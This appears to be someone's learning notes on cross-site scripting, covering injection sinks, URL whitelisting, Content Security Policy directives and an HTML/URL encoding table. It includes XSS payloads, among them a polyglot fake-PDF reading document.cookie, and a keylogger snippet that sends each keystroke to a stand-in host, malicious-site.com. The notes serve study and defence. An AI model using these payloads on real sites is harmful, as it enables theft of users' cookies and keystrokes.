Home

Cross Site Scripting(XSS)

Cross site scripting(XSS) allows an attacker to get a victim to run malicious code on their browser while looking like it came from a legitimate source.

There are 2 type of XSS attacks.

  1. Through URL parameters
  2. Through the database

Todo

%PDF-1.4
%äüöß
2 0 obj
<</Length 3 0 R/Filter/FlateDecode>>
stream
xœ=ŽË
1E÷ùŠ»v“¶é´0è~ àø
R
R<h1>This is NOT a PDF!</h1> <img src=x onerror=alert(document.cookie)>

Need to research

URL parameter XSS

The URL
	https://insecure-website.com/?parameter=<script>print()</script>
Possible html output
	<p><script>print()</script></p>

Common payloads

Payload list

Common payload content

Different types of Sinks - Where user input is used

Inside html elements

In order to perform an attack on this sink you can:

In order to prevent this any <s should be filtered out

Inside html attributes

In order to perform an attack on this sink you can:

<script src="data:text/plain,alert()"></script> This does an alert

In order to prevent this any <s and "s should be filtered out and there should be a whitelist of URIs.


function isSafeUrl(url) {
    const allowedSchemes = ['http:', 'https:', 'mailto:'];
    const urlObj = new URL(url);
    return allowedSchemes.includes(urlObj.protocol);
}

const userInputUrl = "javascript:alert('xss')";
if (isSafeUrl(userInputUrl)) {
    console.log('URL is safe');
} else {
    console.log('URL is not safe');
}

Uniform Resource Identifier(URIs)

In order to prevent URI attacks there should be a whitelist of acceptable URIs and not a blacklist.

	let uriWhitelist = ["http://", "https://"]
	let validUserInput = false
	for(const uri of uriWhitelist){
		if(userInput.startsWith(uri)){
			validUserInput = true
			break
		}
	}

<a src="?javascript:print()">Link</a> does not work

Inside Javascript(Client side javascript inject)

Javascript evaluates functions that are inside other function and there is no limit to the amount of arguments.

How do you find these? - Searching in the js code takes a while - Does Burp’s DOM Injection find all of them?

const params = new URLSearchParams(window.location.search)
const param1 = params.get('param1')
const param2 = params.get('param2')

Inside CSS

- Not very common

Inside JSON

- Have to escape the "s
- Inject another key and value
- Can you also execute javascript of html?

Easy ways to prevent XSS

Content Security Policies (CSPs)

Example:

Content-Security-Policy: script-src 'self' https://www.example.com; report-uri 'https://www.example.com';
[        Header        ][   Name  ][Source][       Source 2       ][  Name   ][          Source         ]
                        [               Directive                 ][              Directive             ]
                        [                                      Value                                    ]

Directive Names

Resources/Fetch directives | Directive Name | Description | |—————–|—————————————————————————–| | default-src | Sets the default policy for undefined names | | script-src | Specifies valid sources for script elements. Javascript | | style-src | Specifies valid hrefs for link elements. CSS | | img-src | Specifies valid srcs for img elements. | | connect-src | | | font-src | Specifies valid sources for fonts | | object-src | Specifies valid sources for object, embed, and applet elements | | media-src | Specifies valid sources for audio, and video elements | | frame-src | Specifies valid sources for iframe elements | | child-src | | | worker-src | Specifies valid sources for Worker, SharedWorker, and ServiceWorker scripts | | manifest-src | Valid sources for web manifests | | frame-ancestors | | | form-action | Specifies valid actions for form submissions | | base-uri | Specifies sources for base elements |

Document Directives | plugin-types | Specifies the plugins for the application | | sandbox | |

Reporting Directives | report-uri | | | report-to | |

Other Directives | block-all-mixed-content | Blocks http when the page is https | | upgrade-insecure-requests | | | require-sri-for | |

Directive Sources

Source Description
‘self’ The source of the same origin as the document itself
‘none’ Disallows any sources
‘unsafe-inline’ Allows inline resources such as javascript or the style attribute
‘unsafe-eval’  
‘strict-dynamic’  
‘wasm-unsafe-eval’  
// On the server
let jsCode = `
	console.log("Testing nonce")
`

<script
	nonce={hash(jsCode, password)}
	dangerouslySetInnerHTML=
></script>

Implementing CSPs in Express

Bypassing common XSS filters

See XXS Tests

Weaponizing XSS payloads

Stealing information

Key logger

document.addEventListener('keydown', (event) => {
    const script = document.createElement('script');
    script.src = 'http://malicious-site.com/?key=' + encodeURIComponent(event.key);
    document.body.appendChild(script);
});

What information to steal

Manipulating actions

HTML encoding(search and replace) vs HTML sanitization(Allowing some elements)

File upload vulnerabilities

Reference table

Symbol HTML name HTML code URL
%   &#37; %25
" &quot; &#34; %22
& &amp; &#38; %26
' &apos; &#39; %27
< &lt; &#60; %3C
> &gt; &#62; %3E
\   &#92; %5C
#   &#35; %23
?   &#63; %3F